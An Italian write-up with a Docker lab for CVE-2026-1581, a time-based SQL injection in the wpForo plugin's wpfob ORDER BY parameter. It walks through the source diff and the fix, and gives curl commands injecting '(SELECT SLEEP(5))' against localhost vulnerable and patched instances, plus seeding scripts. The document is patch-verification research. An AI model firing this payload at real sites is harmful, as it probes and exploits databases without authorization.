
Riproduce CVE-2026-1581, una SQL injection time-based non autenticata in wpForo Forum <=2.4.14, con un laboratorio Docker e PoC per dimostrare la vulnerabilità e verificare la patch.
| Campo | Dettaglio |
|---|
| ID CVE | CVE-2026-1581 |
| Plugin | wpForo Forum |
| Versioni Affette | <= 2.4.14 |
| Versione Corretta | 2.4.15 |
| Tipo di Vulnerabilità | Iniezione SQL Time-Based non autenticata (ORDER BY) |
| Punteggio CVSS | 7.5 (Alto) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 è una vulnerabilità di Iniezione SQL Time-Based non autenticata nel plugin wpForo Forum (<= 2.4.14). Il parametro wpfob viene utilizzato in una clausola ORDER BY con solo una sanitizzazione testuale applicata, consentendo a un attaccante non autenticato di iniettare espressioni SQL arbitrarie e leggere dati dal database.
Il vendor ha corretto il problema nella versione 2.4.15 sostituendo sanitize_text_field() con wpforo_sanitize_orderby(), che applica una whitelist sensibile al contesto.
Eseguire solo in localhost + Docker Compose.
Il PoC è una prova di timing basata sul tempo per dimostrare la differenza tra le versioni vulnerabile e corretta.
Non utilizzare contro alcun sistema senza autorizzazione esplicita.
Prova della versione: La pagina /community/ carica /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vulnerabile) vs 2.4.15 (corretta).
Prova del codice: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
Prova del comportamento: wpfob=modified,(SELECT SLEEP(5)) causa un ritardo di ~5s sulla versione vulnerabile; la versione corretta risponde vicino alla baseline.
L'advisory CVE afferma solo che si tratta di un'iniezione SQL time-based tramite il parametro wpfob, corretta nella 2.4.15. Al momento dell'analisi, non era disponibile alcun PoC pubblico.
Questo write-up è stato quindi costruito tramite diffing del codice sorgente tra 2.4.14 e 2.4.15, tracciando il parametro dall'input HTTP attraverso la sanitizzazione fino al punto in cui viene utilizzato per costruire la query SQL — al fine di comprendere la causa principale e riprodurre il problema.

wpfobPartendo con una grep per wpfob nel codice sorgente, è stato trovato che la pagina Recenti prende il valore direttamente da un parametro GET e lo assegna come argomento orderby.

Vulnerabile (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
Corretta (2.4.15) — stesso file, sanitizzatore sostituito:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
Perché concentrarsi su
recent.php? Perché è una rotta attivabile dovewpfobviene assegnato direttamente a$args['orderby'].
ORDER BY ...Una volta impostato $args['orderby'], questo fluisce nel query builder di wpForo per costruire la clausola ORDER BY.
Concatenazione ORDER BY (vuln 2.4.14)
classes/Topics.php:

classes/Posts.php:

Spiegazione
sanitize_text_field() rimuove/pulisce solo la stringa — non applica una whitelist dei nomi di colonna consentiti.orderby viene concatenato direttamente in ORDER BY <orderby>, un attaccante può iniettare espressioni SQL arbitrarie nella posizione ORDER BY.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()La versione 2.4.15 introduce un sanitizzatore whitelist sensibile al contesto che restituisce il valore predefinito se l'input non è nella lista consentita:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — utilizza wp-cli per installare WordPress, installare il plugin, creare la pagina /community/ con lo shortcode [wpforo], configurare i permalink, generare .htaccess e creare artefatti di verifica.Dalla lettura del sorgente, wpfob viene utilizzato esplicitamente nella pagina recenti:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedAlmeno 1 argomento e 1 post devono esistere prima del test.
ORDER BY e non si osserva alcun ritardo — un falso negativo.Sono richiesti almeno 1 argomento e 1 post.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
Previsto
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ baseline (nessun ritardo)
8081 (vuln), 8082 (corretta)docker-compose.ymlscripts/seed-wp.shDalla cartella del progetto:
docker compose up -d
Controllare che entrambe le istanze siano accessibili:
http://localhost:8081/community/http://localhost:8082/community/E la pagina recenti:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

Richiesto per la riproducibilità e per prevenire falsi negativi.
# 1) Controllare i conteggi (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) Inserire 1 argomento e 1 post (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
Per l'istanza corretta, sostituire seed_vuln con seed_patched.
Si consiglia l'uso di un ambiente virtuale:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# vuln
python3 poc.py http://localhost:8081
# corretta
python3 poc.py http://localhost:8082

docker compose down -v